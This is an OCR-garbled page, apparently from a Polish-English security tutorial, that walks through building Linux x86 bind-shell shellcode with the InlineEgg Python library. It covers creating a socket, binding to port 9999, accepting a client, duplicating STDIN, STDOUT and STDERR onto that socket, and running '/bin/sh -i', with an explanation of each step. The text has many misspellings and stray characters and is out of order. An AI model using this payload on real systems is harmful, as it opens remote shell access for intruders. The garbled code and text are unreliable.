egg rysunek en

Python codę:

Ci

START

shellcode:

egg.listen(sock, 1)

Create codę that starts listenning on socket, which handle is kept at address written in variable sock.

egg.close(sock)

Create codę that closes socket, which handle is on the stack at address from client variable.

C^START^

Push value of the %eax register away on the stack.

Close socket, which handle is being kept on the stack.

Pług STDIN, STDOUT and STDERR to socket, which handle is kept on the stack.

CEND

egg=InlineEgg(Linuxx86Syscall) Create shellcode

i

sock=egg.socket (socket.AF_INET Socket.SOCK_STREAM),

Create codę that creates socket. Remember register name, in which socket handle will be put (that is %eax register), in variable sock.

sock=egg.save(sock)

Create codę pushing variable ke^it in^ register (which name js kepi in t socE varia6le)on the stack.

Place on the stack, where thij^value will be located, save in thj variable sock.-

egg.bind(sock, ('0.0.0.0', 9999))

Create codę plugging socket (which name in on the etack at address written in variable sock) to port 9999.

client=egg.accept(sock, 0, 0)

Create codę that waits for Client to connect to and creates for this connection new socket. Name of the register in which the name of the handle will be retumed save in variable Client.

client=egg.save(client)

Create shellcode that pushes value kept in the register on the stack, which name is written in variable client^ Address, where this value will be kept on the stack save in variable client.-

egg.dup2(client, 0) egg.dup2(client, 1) egg.dup2(client, 2)

Create codę connecting STDIN, STDOUT and STDERR to socket, which handle is at address kept in variable client.

egg.execve('/bin/sh',('sh^1,	'-i'))
Create codę that runs Shell.

C

register %eax
\__ stack
socket handle

Create socket, handlet" push to register %eax/

Push %eax register value on the stack.

Pług socket (which handle is being kept on the stack) to port 9999.
	f
Start listening on the socket, which handle is being kept on the stack.
	<

Wait for Client to connect and create new socket for this connection. Socket handle will be retumed in the register %eax.

	<
Run Shell.